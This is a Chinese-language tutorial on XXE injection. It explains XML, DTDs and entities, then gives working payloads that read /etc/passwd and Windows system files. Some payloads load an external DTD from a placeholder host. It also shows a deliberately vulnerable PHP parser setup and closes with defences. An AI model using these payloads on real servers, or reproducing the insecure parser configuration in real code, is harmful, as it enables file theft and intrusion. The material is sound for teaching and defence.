XXE漏洞详解——基础篇
字数 1791 2025-08-15 21:32:43
XXE漏洞详解教学文档
一、XML基础知识
1. XML简介
XML(可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言,类似于HTML但用途更广泛。XML可以用来:
- 标记数据
- 定义数据类型
- 允许用户自定义标记语言
2. XML文档结构
一个完整的XML文档包含以下部分:
- XML声明:
<?xml version="1.0"?> - DTD文档类型定义(可选)
- 文档元素
3. DTD(文档类型定义)
DTD定义合法的XML文档构建模块,使用一系列合法的元素来定义文档结构。
内部DTD声明
<!DOCTYPE 根元素 [元素声明]>
示例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
外部DTD声明
<!DOCTYPE 根元素 SYSTEM "文件名">
示例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
外部DTD文件"note.dtd"内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
二、实体概念
1. 实体定义
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
2. 内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
示例:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML引用:
<author>&writer;©right;</author>
3. 外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
示例:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML引用:
<author>&writer;©right;</author>
三、XXE漏洞原理
1. 定义
XXE(XML External Entity Injection,XML外部实体注入)漏洞发生在:
- 应用通过用户上传的XML文件或POST请求传输数据
- 应用没有禁止XML引用外部实体
- 应用没有过滤用户提交的XML数据
2. 基本利用方式
示例1:直接引用外部实体
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<x>&b;</x>
解析后会返回/etc/passwd文件内容。
示例2:使用参数实体
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd"> %d;]>
<x>&xxe;</x>
外部DTD文件内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
示例3:外部DTD引用
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd">
<x>&xxe;</x>
外部DTD文件内容同上。
3. 实体类型区别
- 通用实体:直接定义的实体,如
<!ENTITY b SYSTEM "file:///etc/passwd"> - 参数实体:以
%开头的实体,如<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd">,只能在DTD中使用
四、不同语言支持的协议
| 协议 | LIBXML2 | PHP | JAVA | .NET |
|---|---|---|---|---|
| file | ✓ | ✓ | ✓ | ✓ |
| http | ✓ | ✓ | ✓ | ✓ |
| https | ✓ | ✓ | ✓ | ✓ |
| ftp | ✓ | ✓ | ✓ | ✓ |
| php | ✓ | ✓ | ✗ | ✗ |
| compress.zlib | ✓ | ✗ | ✗ | ✗ |
| jar | ✗ | ✗ | ✓ | ✗ |
| compress.bzip2 | ✓ | ✗ | ✗ | ✗ |
| netdoc | ✗ | ✗ | ✓ | ✗ |
| data | ✓ | ✓ | ✗ | ✗ |
| mailto | ✓ | ✗ | ✗ | ✗ |
| glob | ✓ | ✗ | ✗ | ✗ |
| gopher | ✓ | ✗ | ✗ | ✗ |
| phar | ✗ | ✓ | ✗ | ✗ |
五、XXE漏洞实战演示
1. 测试环境
- PHPstudy集成
- Apache 2.4.39
- PHP 5.2.17nts
2. 漏洞代码示例
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
3. 利用过程
- 访问漏洞页面
- 抓包并构造POST请求
- 发送包含恶意XML的payload
示例payload:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///c:/windows/system.ini">]>
<x>&b;</x>
- 服务器返回读取的文件内容
六、防御措施
-
禁用外部实体加载:
- PHP:
libxml_disable_entity_loader(true);
- PHP:
-
使用安全的XML解析器配置:
- 禁用DTD处理
- 禁用外部实体引用
-
输入验证:
- 过滤用户提交的XML数据
- 检查XML内容是否包含可疑的实体声明
-
使用替代数据格式:
- 如JSON等更安全的数据交换格式
-
更新XML处理器:
- 使用最新版本的XML处理器,修复已知漏洞